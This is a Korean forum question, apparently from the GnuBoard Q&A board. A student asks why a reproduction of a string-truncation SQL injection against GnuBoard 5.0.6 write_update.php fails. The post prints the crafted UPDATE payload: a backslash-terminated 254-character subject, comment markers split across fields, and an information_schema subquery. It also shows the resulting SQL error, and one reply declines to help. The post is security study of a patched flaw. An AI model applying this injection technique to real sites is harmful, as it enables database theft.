과거 5.0.6 버전 write_update.php에서 문자열 자르기 오류를 이용한 sql injection

매출이 오르면 내리는 수수료! 지금 수수료센터에서 전자결제(PG)수수료 비교견적 신청해 보세요!
과거 5.0.6 버전 write_update.php에서 문자열 자르기 오류를 이용한 sql injection

QA

신고된 글과거 5.0.6 버전 write_update.php에서 문자열 자르기 오류를 이용한 sql injection

답변 1

본문

신고가 접수되어 자동으로 블라인드 된 글입니다.
원글을 보시려면 를 클릭하세요.

과거 5.0.6 버전 write_update.php에서 문자열 자르기 오류를 이용한 sql injection을 실습하려고하는데

잘 안되서 왜 안되나 궁금합니다..

wr_subject (글제목) 을 받는곳에 254개의 문자를넣고 마지막 문자에 \를넣어 기존코드에 있던 닫는 다옴표를 문자열로 인식하게끔 만들어 코드의 그 다음줄인 wr_content = ' 의 여는 다옴표를만나 wr_subject의 닫는따옴표를 여기서 닫히게 만드는건 이해했습니다. 그리고나서 기존 wr_content에는 /*로 주석처리를 열어주고

wr_10에는 닫는 주석을 넣으며 sql인젝션 구문을 넣는거까진 이해를 했는데 이걸 실습하려고 해도 그저 에러페이지만 보일뿐 인젝션이 통하지않습니다.

 

burp suite로 글수정 요청패킷을 가로채 변조를 다음과같이 했습니다.

 

3556515519_1734540443.9979.png

 

.

.

.

3556515519_1734540432.5395.png

근데 오류페이지만 반환하더라구요

3556515519_1734541021.3537.png

update g5_write_free_board set ca_name = '질문', wr_option = ',,', wr_subject = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\', wr_content = '/*', wr_link1 = '', wr_link2 = '', mb_id = '1111', wr_name = '1111', wr_email = '1111@11.11', wr_homepage = '', wr_1 = '', wr_2 = '', wr_3 = '', wr_4 = '', wr_5 = '', wr_6 = '', wr_7 = '', wr_8 = '', wr_9 = '', wr_10= '*/, wr_content=(select group_concat(table_name,0x3a,column_name) from inf' , wr_ip = '211.252.30.191' where wr_id = '6'

1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' , wr_ip = '211.252.30.191' ' at line 20

error file : /g5/bbs/write_update.php




wr_10= '*/, wr_content=(select group_concat(table_name,0x3a,column_name) from inf

이부분에서 왜 구문이 짤리는지도 모르겠고
3556515519_1734540563.146.png

인젝션이 왜 안되는지 모르겠습니다. 
정보보안 공부중인 부족한 대학생인데 도움주시면 감사하겠습니다 ㅜㅜ....

처음 글을 올려봐서 혹시 문제있는글이라면 삭제하겠습니다.

이 질문에 댓글 쓰기 :

답변 1

여긴 그누보드를 잘 사용하기위한 사람들이 모인 곳이 올시다

이런 질문에 답변 줄 얼빠진 사람 없심다

신고가 접수된 글입니다.
신고 횟수가 1회 이상이면 글을 확인하지 못합니다.

각 취약점에 대해서도 다루고 보안패치로도 개발자님이 직접 언급하고 패치한취약점이라 어떻게 동작하고 보안적으로 막은건지 좀더 깊게 공부하다 질문한거긴 합니다... 악의적의도는 1 도없었고 혹시나 제 질문을 보고 기분나쁘셨다면 사과드리겠습니다

답변을 작성하시기 전에 로그인 해주세요.
QA 내용 검색
질문등록
이전 아이콘
다음 아이콘
전체 0
로딩중
© SIRSOFT
현재 페이지 제일 처음으로